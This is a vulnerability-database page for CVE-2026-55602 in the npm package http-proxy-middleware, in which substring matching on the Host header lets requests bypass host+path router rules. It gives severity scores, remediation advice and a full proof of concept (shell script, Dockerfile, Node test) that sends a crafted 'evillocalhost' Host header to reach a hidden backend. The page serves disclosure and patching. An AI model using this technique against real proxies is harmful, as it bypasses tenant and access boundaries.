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http-proxy-middleware CVE-2026-55602

| EUVDEUVD-2026-38300 MEDIUM
Improper Input Validation (CWE-20)
2026-06-18 https://github.com/chimurai/http-proxy-middleware GHSA-64mm-vxmg-q3vj
6.9
CVSS 4.0 · Vendor: https://github.com/chimurai/http-proxy-middleware
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Severity by source

Vendor (https://github.com/chimurai/http-proxy-middleware) PRIMARY
6.9 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
7.2 HIGH

Network-exploitable with no privileges or user interaction; scope changes as requests reach an unintended backend, with limited confidentiality and integrity impact on that system.

3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N
SUSE
6.5 MEDIUM
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Red Hat
6.5 MEDIUM
qualitative

Primary rating from Vendor (https://github.com/chimurai/http-proxy-middleware).

CVSS VectorVendor: https://github.com/chimurai/http-proxy-middleware

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

3
CVSS changed
Jun 22, 2026 - 18:23 NVD
6.9 (MEDIUM)
Source Code Evidence Fetched
Jun 18, 2026 - 14:08 vuln.today
Analysis Generated
Jun 18, 2026 - 14:08 vuln.today

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 60 npm packages depend on http-proxy-middleware (13 direct, 47 indirect)

Ecosystem-wide dependent count for version 3.0.0.

DescriptionCVE.org

Summary

http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend.

Details

Tested code state:

  • validated on tag v4.0.0-beta.5
  • corresponding commit: 339f09ede860197807d4fd99ed9020fa5d0bd358

Relevant code locations:

  • src/router.ts
  • src/http-proxy-middleware.ts

Affected public API:

  • createProxyMiddleware({ router: { 'host/path': 'http://target' } })

Code explanation:

When a proxy-table router key contains /, getTargetFromProxyTable() concatenates attacker-controlled req.headers.host and req.url into a single hostAndPath string, then accepts the route if:

ts
hostAndPath.indexOf(key) > -1

That is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is:

txt
localhost:3000/api

but the attacker-controlled host is:

txt
evillocalhost:3000

and the request path is:

txt
/api

The concatenated attacker-controlled string:

txt
evillocalhost:3000/api

still contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host.

Exploit path:

  1. the application enables the documented proxy-table router feature with at least one host+path rule
  2. an external attacker sends an ordinary HTTP request with a crafted Host header
  3. HttpProxyMiddleware.prepareProxyRequest() applies router selection before proxying
  4. getTargetFromProxyTable() accepts the crafted Host + path string through substring matching
  5. the request is proxied to the wrong backend

PoC

Create these files in the same working directory and run:

bash
bash ./run.sh

File: run.sh

bash
#!/usr/bin/env bash
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO_URL="https://github.com/chimurai/http-proxy-middleware.git"
REPO_REF="v4.0.0-beta.5"
WORKDIR="$(mktemp -d "${SCRIPT_DIR}/.tmp-repro.XXXXXX")"
TARGET_REPO_DIR="${WORKDIR}/repo"
REPRO_DIR="${WORKDIR}/reproduction"
IMAGE_TAG="http-proxy-middleware-router-bypass-poc"

cleanup() {
  rm -rf "${WORKDIR}"
}
trap cleanup EXIT

echo "[a3] cloning target repository"
git clone --quiet "${REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --quiet "${REPO_REF}"

mkdir -p "${REPRO_DIR}"
cp "${SCRIPT_DIR}/Dockerfile" "${WORKDIR}/Dockerfile"
cp "${SCRIPT_DIR}/verify.mjs" "${REPRO_DIR}/verify.mjs"

echo "[a3] building reproduction image"
docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGE_TAG}" "${WORKDIR}"

echo "[a3] running verification"
docker run --rm "${IMAGE_TAG}" node /work/reproduction/verify.mjs

File: Dockerfile

Dockerfile
FROM node:22-bullseye

WORKDIR /work

COPY repo/package.json repo/yarn.lock /work/repo/

RUN corepack enable \
  && cd /work/repo \
  && yarn install --frozen-lockfile

COPY repo /work/repo
RUN cd /work/repo && yarn build

COPY reproduction /work/reproduction

File: verify.mjs

js
import http from 'node:http';
import fs from 'node:fs';
import assert from 'node:assert/strict';

import { createProxyMiddleware } from '/work/repo/dist/index.js';

const ROUTER_KEY = 'localhost:3000/api';
const CRAFTED_HOST = 'evillocalhost:3000';

function listen(server, port) {
  return new Promise((resolve) => {
    server.listen(port, '127.0.0.1', () => resolve());
  });
}

function close(server) {
  return new Promise((resolve, reject) => {
    server.close((err) => {
      if (err) {
        reject(err);
        return;
      }
      resolve();
    });
  });
}

function request(path, host) {
  return new Promise((resolve, reject) => {
    const req = http.request(
      {
        host: '127.0.0.1',
        port: 3000,
        path,
        method: 'GET',
        headers: {
          Host: host,
        },
      },
      (res) => {
        let data = '';
        res.setEncoding('utf8');
        res.on('data', (chunk) => {
          data += chunk;
        });
        res.on('end', () => {
          resolve({ statusCode: res.statusCode, body: data });
        });
      },
    );
    req.on('error', reject);
    req.end();
  });
}

const defaultBackend = http.createServer((req, res) => {
  res.end('DEFAULT');
});

const secretBackend = http.createServer((req, res) => {
  res.end('SECRET');
});

const proxyMiddleware = createProxyMiddleware({
  target: 'http://127.0.0.1:3101',
  router: {
    [ROUTER_KEY]: 'http://127.0.0.1:3102',
  },
});

const proxyServer = http.createServer((req, res) => {
  proxyMiddleware(req, res, () => {
    res.statusCode = 404;
    res.end('NO_PROXY');
  });
});

try {
  assert.ok(fs.existsSync('/work/repo/dist/index.js'));
  assert.ok(fs.existsSync('/work/reproduction/verify.mjs'));

  await listen(defaultBackend, 3101);
  await listen(secretBackend, 3102);
  await listen(proxyServer, 3000);
  console.log('STEP start-services ok');

  const baseline = await request('/api', 'safe.example:3000');
  assert.equal(baseline.statusCode, 200);
  assert.equal(baseline.body, 'DEFAULT');
  console.log(`STEP baseline-route body=${baseline.body}`);

  const crafted = await request('/api', CRAFTED_HOST);
  assert.equal(crafted.statusCode, 200);
  assert.equal(crafted.body, 'SECRET');
  assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]);
  console.log(`STEP crafted-route body=${crafted.body}`);

  console.log('RESULT reproduced host_header_injection router substring match bypass');
} finally {
  await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]);
}

This PoC starts:

  • one default backend returning DEFAULT
  • one alternate backend returning SECRET
  • one proxy using:
js
createProxyMiddleware({
  target: 'http://127.0.0.1:3101',
  router: {
    [ROUTER_KEY]: 'http://127.0.0.1:3102',
  },
});

It then sends:

  1. a baseline request to /api with Host: safe.example:3000
  2. a crafted request to /api with Host: evillocalhost:3000

Observed result from the validated PoC:

  • baseline request: STEP baseline-route body=DEFAULT
  • crafted request: STEP crafted-route body=SECRET
  • success marker: RESULT reproduced host_header_injection router substring match bypass

The PoC is considered successful only if:

  1. the baseline request stays on the default backend
  2. the crafted request reaches the alternate backend
  3. the crafted host is not equal to the configured router host

Impact

This is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted Host header.

AnalysisAI

Backend routing bypass in http-proxy-middleware allows unauthenticated external attackers to redirect HTTP requests to unintended backends by sending a crafted Host header that acts as a superstring of a configured host+path router key. The vulnerable substring matching logic (hostAndPath.indexOf(key) > -1 in src/router.ts) affects npm package versions 0.16.0 through 3.0.5 and 4.0.0 through v4.0.0-beta.5, enabling bypass of tenant isolation, backend segmentation, or access-control boundaries enforced through proxy routing rules. Publicly available exploit code exists in the GitHub Security Advisory GHSA-64mm-vxmg-q3vj, with vendor-confirmed fixes released as versions 3.0.6 and 4.1.0.

Technical ContextAI

http-proxy-middleware is a widely-used Node.js reverse-proxy library (pkg:npm/http-proxy-middleware) that integrates with Express and Connect applications. Its router proxy-table feature allows operators to direct specific host or path patterns to alternate backends via createProxyMiddleware({ router: { 'host/path': 'http://target' } }). When a router key contains a / character indicating a combined host+path rule, the function getTargetFromProxyTable() in src/router.ts concatenates the attacker-controlled req.headers.host with req.url into a single hostAndPath string and evaluates the match using JavaScript's String.prototype.indexOf(). This produces an unanchored substring test - not the intended exact-host-plus-intended-path comparison. CWE-20 (Improper Input Validation) is the root cause: attacker-supplied input is accepted as a routing match without boundary anchoring or exact-equality enforcement on the host component. The flaw was confirmed at tag v4.0.0-beta.5 (commit 339f09ede860197807d4fd99ed9020fa5d0bd358) but spans back to v0.16.0 in the stable branch.

RemediationAI

Upgrade http-proxy-middleware to version 3.0.6 (for applications on the v3 stable branch) or 4.1.0 (for applications on the v4 branch) - these are vendor-confirmed fix versions per GHSA-64mm-vxmg-q3vj (https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-64mm-vxmg-q3vj). If an immediate upgrade is not possible, the most targeted compensating control is to convert all host+path compound router keys to path-only keys (e.g., replace 'hostname:port/path': 'http://target' with '/path': 'http://target'); this eliminates the vulnerable code path entirely because the substring-matching flaw is only triggered when a router key contains a / with a preceding host segment. The trade-off is loss of per-hostname routing granularity - all virtual hosts would resolve to the same path-based rule. A second compensating control is to deploy an upstream reverse proxy (nginx, Caddy, HAProxy) configured to validate and normalize the Host header, rejecting requests whose Host value does not exactly match an expected allowlist before traffic reaches the Node.js application; this adds a processing layer and requires maintaining the allowlist in sync with backend configuration.

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Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Not-Affected
SUSE Linux Enterprise High Performance Computing 12 Not-Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Not-Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Not-Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Not-Affected

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CVE-2026-55602 vulnerability details – vuln.today

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